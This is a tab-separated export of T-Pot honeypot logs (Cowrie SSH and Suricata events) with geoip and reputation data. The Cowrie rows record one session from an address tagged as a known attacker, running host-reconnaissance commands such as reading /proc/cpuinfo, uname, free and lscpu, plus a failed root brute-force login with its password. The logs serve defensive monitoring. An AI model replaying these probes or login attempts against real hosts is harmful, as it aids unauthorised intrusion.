32468	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:51:36.25879+03	2021-09-20 15:00:03.518716+03	{"_id": "iwYMA3wBvYTbRNuEGUpo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "4a83ec07e2b4", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:51:36.258790Z", "@timestamp": "2021-09-20T11:51:36.258Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32469	157.240.234.15	109.199.241.180	Suricata	2021-09-20 14:51:28.528866+03	2021-09-20 15:00:03.519717+03	{"_id": "UAYLA3wBvYTbRNuE-0qY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:51:28.528866+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.15", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.15", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 55641129357794, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 80, "dest_port": 48556, "timestamp": "2021-09-20T11:51:28.528866Z", "@timestamp": "2021-09-20T11:51:28.528Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32481	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:51:24.672223+03	2021-09-20 15:00:03.534717+03	{"_id": "QAYLA3wBvYTbRNuE60r1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:50:13.521105+0000", "pkts_toclient": 0, "pkts_toserver": 10, "bytes_toclient": 0, "bytes_toserver": 780}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "87.112.251.105", "flow_id": 1804345649001361, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 35169, "timestamp": "2021-09-20T11:51:24.672223Z", "@timestamp": "2021-09-20T11:51:24.672Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32470	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:29.295701+03	2021-09-20 15:00:03.520717+03	{"_id": "UwYLA3wBvYTbRNuE_koK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "81.71.14.9", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "168e4f4c79b6", "@version": "1", "duration": 0.5684401988983154, "duplicate": true, "timestamp": "2021-09-20T11:51:29.295701Z", "@timestamp": "2021-09-20T11:51:29.295Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32471	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:30.662071+03	2021-09-20 15:00:03.522717+03	{"_id": "VwYMA3wBvYTbRNuEAUry", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:30.662071Z", "@timestamp": "2021-09-20T11:51:30.662Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32472	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:30.662613+03	2021-09-20 15:00:03.523717+03	{"_id": "WAYMA3wBvYTbRNuEAUry", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:30.662613Z", "@timestamp": "2021-09-20T11:51:30.662Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32473	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:31.237055+03	2021-09-20 15:00:03.524717+03	{"_id": "WQYMA3wBvYTbRNuEBUrc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "81.71.14.9", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "168e4f4c79b6", "@version": "1", "duration": 0.5750689506530762, "duplicate": true, "timestamp": "2021-09-20T11:51:31.237055Z", "@timestamp": "2021-09-20T11:51:31.237Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32474	157.240.234.15	109.199.241.180	Suricata	2021-09-20 14:51:28.646467+03	2021-09-20 15:00:03.526716+03	{"_id": "TwYLA3wBvYTbRNuE-0qX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:51:28.528866+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 198}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.15", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.15", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 55641129357794, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 80, "dest_port": 48556, "timestamp": "2021-09-20T11:51:28.646467Z", "@timestamp": "2021-09-20T11:51:28.646Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32521	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:51:56.690034+03	2021-09-20 15:00:03.588717+03	{"_id": "yAYMA3wBvYTbRNuEZ0qT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/7418529630] failed", "session": "7c2b278c12da", "@version": "1", "password": "7418529630", "username": "root", "timestamp": "2021-09-20T11:51:56.690034Z", "@timestamp": "2021-09-20T11:51:56.690Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32475	157.240.234.15	109.199.241.180	Suricata	2021-09-20 14:51:28.58742+03	2021-09-20 15:00:03.527716+03	{"_id": "UQYLA3wBvYTbRNuE-0qY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:51:28.528866+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 132}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.15", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.15", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 55641129357794, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 80, "dest_port": 48556, "timestamp": "2021-09-20T11:51:28.587420Z", "@timestamp": "2021-09-20T11:51:28.587Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32476	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:29.722338+03	2021-09-20 15:00:03.528718+03	{"_id": "VAYLA3wBvYTbRNuE_koK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:29.722338Z", "@timestamp": "2021-09-20T11:51:29.722Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32477	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:33.564309+03	2021-09-20 15:00:03.529717+03	{"_id": "aQYMA3wBvYTbRNuEDUqs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:33.564309Z", "@timestamp": "2021-09-20T11:51:33.564Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32478	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:33.564864+03	2021-09-20 15:00:03.531717+03	{"_id": "agYMA3wBvYTbRNuEDUqs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:33.564864Z", "@timestamp": "2021-09-20T11:51:33.564Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32479	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:24.817236+03	2021-09-20 15:00:03.532716+03	{"_id": "PgYLA3wBvYTbRNuE6kp9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:24.817236Z", "@timestamp": "2021-09-20T11:51:24.817Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32480	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:24.817786+03	2021-09-20 15:00:03.533717+03	{"_id": "PwYLA3wBvYTbRNuE6kp9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:24.817786Z", "@timestamp": "2021-09-20T11:51:24.817Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32482	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:25.387234+03	2021-09-20 15:00:03.535718+03	{"_id": "QQYLA3wBvYTbRNuE7kpn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "81.71.14.9", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "168e4f4c79b6", "@version": "1", "duration": 0.570082426071167, "duplicate": true, "timestamp": "2021-09-20T11:51:25.387234Z", "@timestamp": "2021-09-20T11:51:25.387Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32483	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:25.756592+03	2021-09-20 15:00:03.537717+03	{"_id": "QgYLA3wBvYTbRNuE7kpn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:25.756592Z", "@timestamp": "2021-09-20T11:51:25.756Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32484	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:25.757167+03	2021-09-20 15:00:03.538716+03	{"_id": "QwYLA3wBvYTbRNuE7kpn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:25.757167Z", "@timestamp": "2021-09-20T11:51:25.757Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32485	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:26.329115+03	2021-09-20 15:00:03.539717+03	{"_id": "RQYLA3wBvYTbRNuE8kpP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "81.71.14.9", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "168e4f4c79b6", "@version": "1", "duration": 0.5727484226226807, "duplicate": true, "timestamp": "2021-09-20T11:51:26.329115Z", "@timestamp": "2021-09-20T11:51:26.329Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32486	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:27.732462+03	2021-09-20 15:00:03.540717+03	{"_id": "SgYLA3wBvYTbRNuE9ko4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:27.732462Z", "@timestamp": "2021-09-20T11:51:27.732Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32487	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:28.727906+03	2021-09-20 15:00:03.541717+03	{"_id": "TgYLA3wBvYTbRNuE-koi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:28.727906Z", "@timestamp": "2021-09-20T11:51:28.727Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32488	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:34.81552+03	2021-09-20 15:00:03.543716+03	{"_id": "cwYMA3wBvYTbRNuEEUqW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "81.71.14.9", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "168e4f4c79b6", "@version": "1", "duration": 0.2900667190551758, "duplicate": true, "timestamp": "2021-09-20T11:51:34.815520Z", "@timestamp": "2021-09-20T11:51:34.815Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32489	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:34.526111+03	2021-09-20 15:00:03.544718+03	{"_id": "cgYMA3wBvYTbRNuEEUqW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:34.526111Z", "@timestamp": "2021-09-20T11:51:34.526Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
